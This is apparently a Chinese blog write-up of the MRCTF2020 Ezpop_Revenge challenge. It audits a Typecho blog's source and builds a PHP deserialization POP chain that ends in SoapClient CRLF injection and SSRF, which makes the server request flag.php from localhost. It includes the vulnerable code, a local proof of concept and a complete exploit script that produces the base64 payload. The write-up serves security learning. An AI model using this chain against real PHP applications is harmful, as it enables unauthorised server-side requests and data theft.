MRCTF2020-Ezpop_Revenge

[MRCTF2020]Ezpop_Revenge

做了ezpop,看到这道题,就想尝试一下,结果……无语凝噎

进入题目,是一个搭建的博客,扫出www.zip网站源码:

image-20210404165801705

(非常恐怖

这里有很多网页的代码,既然是Revenge,应该是反序列化题目,在文件内查找:

1
2
3
4
5
6
7
8
9
10
11
12
//Plugin.php
public function action(){
if(!isset($_SESSION)) session_start();
if(isset($_REQUEST['admin'])) var_dump($_SESSION);
if (isset($_POST['C0incid3nc3'])) {
if(preg_match("/file|assert|eval|[`\'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0)
unserialize(base64_decode($_POST['C0incid3nc3']));
else {
echo "Not that easy.";
}
}
}

这里可以反序列化了一个post的数据,并且做了过滤……不管如何利用,先从这里找,在这个文件上方有一个类:

1
2
3
4
5
6
7
class HelloWorld_DB{
private $flag="MRCTF{this_is_a_fake_flag}";
private $coincidence;
function __wakeup(){
$db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
}
}

wakeup的魔法方法,可以反序列化调用,跟进Typecho_Db:

(代码太多,这里选择有用的部分

1
2
3
4
5
6
7
8
9
10
11
12
//Db.php
class Typecho_Db
{
private $_adapter;
private $_prefix;
private $_adapterName;

public function __construct($adapterName, $prefix = 'typecho_')
{
$this->_adapterName = $adapterName;
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
}

进行了拼接,(大概)可以联想到toString方法,那有没有呢?(很多……一定要注意其形式是否可以利用,经验和感觉很重要,嗯,玄学)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//Query.php
public function __toString()
{
switch ($this->_sqlPreBuild['action']) {
case Typecho_Db::SELECT:
return $this->_adapter->parseSelect($this->_sqlPreBuild);
case Typecho_Db::INSERT:
return 'INSERT INTO '
. $this->_sqlPreBuild['table']
. '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')'
. ' VALUES '
. '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')'
. $this->_sqlPreBuild['limit'];
case Typecho_Db::DELETE:
return 'DELETE FROM '
. $this->_sqlPreBuild['table']
. $this->_sqlPreBuild['where'];
case Typecho_Db::UPDATE:
$columns = array();
if (isset($this->_sqlPreBuild['rows'])) {
foreach ($this->_sqlPreBuild['rows'] as $key => $val) {
$columns[] = "$key = $val";
}
}
}

一个针对sql语句的条件分支,注意select这里:

1
return $this->_adapter->parseSelect($this->_sqlPreBuild);

就很像反序列化练习中__call函数的调用,查了一下__call函数,似乎没有利用点……

SOAP 反序列化

dalao:https://zhuanlan.zhihu.com/p/80918004

SOAP 是一种简单的基于 XML 的协议,它使应用程序通过 HTTP 来交换信息。

为php安装soap拓展后:

image-20210404172608327

可以看到,SoapClient类自带有__call方法,由此诞生了SOAP反序列化ssrf利用。

本地重复实验:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$target = 'http://127.0.0.1:5555/path';
$post_string = 'data=something';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=my_session'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo $aaa;

$c = unserialize($aaa);
$c->not_exists_function();
?>

image-20210404173005718

调用不存在的方法时,SoapClient仍会向WebSever发送请求,调用服务器函数。

在参数中,user-agent是可控的,这意味着通过CRLF,我们可以控制ua下的所有参数,进而借网站发送一个由我们控制的POST请求,完成ssrf。

pop链已经明了了(大概):

  1. HelloWorld_DB反序列化触发wakeup,在wakeup中实例化一个Typecho_Db;
  2. Typecho_Db($this->coincidence['hello'], $this->coincidence['world'])$this->coincidence['world']作为参数,也就是$adapterName,控制此参数为Typecho_Db_Query的实例化,触发toString;
  3. Typecho_Db_Query中控制$this->_sqlPreBuild['action']为select,$this->_adapter为SoapClient的实例化,触发其中的call方法,发送post请求进行ssrf。

明了归明了,写脚本也是一大难关……并且要对各个类里的魔术方法有数,这样才能构造出正确的序列化字符串。

……………………无语凝噎

利用类里有的construct控制变量,传入target为http://92018a96-f259-4c67-9a5a-b95fedc9d0ea.node3.buuoj.cn/flag.php设置好xff头和自己的cookie:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
error_reporting(0);
class HelloWorld_DB{
private $coincidence;
public function __construct()
{
$this->coincidence = array("hello" => new Typecho_Db_Query());
}
}

class Typecho_Db_Query
{
private $_adapter;
private $_sqlPreBuild;
public function __construct()
{
$target = "http://92018a96-f259-4c67-9a5a-b95fedc9d0ea.node3.buuoj.cn/flag.php";
$headers = array(
'X-Forwarded-For:127.0.0.1',
"Cookie: PHPSESSID=a55efu5tcvab970c7j54jbfkj3"
);
$this->_adapter = new SoapClient(null, array('uri' => 'aaab', 'location' => $target, 'user_agent' => 'haha^^' . join('^^', $headers)));

$this->_sqlPreBuild = ['action' => "SELECT"];
}
}

$a = serialize(new HelloWorld_DB());

//echo $a;

$a = preg_replace(" /\^\^/", "\r\n", $a);

echo base64_encode($a);

unserialize($_GET['pop']);

(大概可以吧…………

最后如何该如何利用反序列化:

在另一个Plugin.php中:

1
2
3
4
5
6
public static function activate($pluginName)
{
self::$_plugins['activated'][$pluginName] = self::$_tmp;
self::$_tmp = array();
Helper::addRoute("page_admin_action","/page_admin","HelloWorld_Plugin",'action');
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
//Helper.php
* 增加路由
* @access public
* @param string $name 路由名称
* @param string $url 路由路径
* @param string $widget 组件名称
* @param string $action 组件动作
* @param string $after 在某个路由后面
* @return integer */
public static function addRoute($name, $url, $widget, $action = NULL, $after = NULL)
{
$routingTable = self::options()->routingTable;
if (isset($routingTable[0])) {
unset($routingTable[0]);
}

$pos = 0;
foreach ($routingTable as $key => $val) {
$pos ++;

if ($key == $after) {
break;
}
}
$pre = array_slice($routingTable, 0, $pos);
$next = array_slice($routingTable, $pos);

$routingTable = array_merge($pre, array($name => array(
'url' => $url,
'widget' => $widget,
'action' => $action
)), $next);
self::options()->routingTable = $routingTable;

$db = Typecho_Db::get();
return Typecho_Widget::widget('Widget_Abstract_Options')->update(array('value' => serialize($routingTable))
, $db->sql()->where('name = ?', 'routingTable'));
}

https://blog.csdn.net/a3320315/article/details/105215741

根据这篇文章的说法,网页上的插件(Widget)一般由路由分发来自动加载,序列化点:image-20210404182121878

由此,对应的 * @param string $widget 组件名称也就是HelloWorld_Plugin,查找相关的插件名一般就可以找到路由……(这个一般,大概是我胡说的……因为我根本不懂……😭zhendecai

*这句代码的意思大概就是访问/page_admin的时候,会自动加载HelloWorld_Plugin类,而且会自动调用action函数,所以我们利用点的路由为/page_admin*。

最后是文件中带有的flag.php:

1
2
3
4
5
6
<?php
if(!isset($_SESSION)) session_start();
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
$_SESSION['flag']= "MRCTF{******}";
}else echo "我扌your problem?\nonly localhost can get flag!";
?>

如果是内网访问,则flag写入session,利用点:

1
if(isset($_REQUEST['admin'])) var_dump($_SESSION);

传入admin参数打印session获取flag……

image-20210404183523393

这题……好像还有很类似的题,大概算是真实环境下的反序列化代码审计?不清楚,我啥都不知道🐕

经常看了后面忘前面……也算是一种锻炼吧,多积累经验……

作者

inanb

发布于

2021-04-04

更新于

2021-09-23

许可协议


:D 一言句子获取中...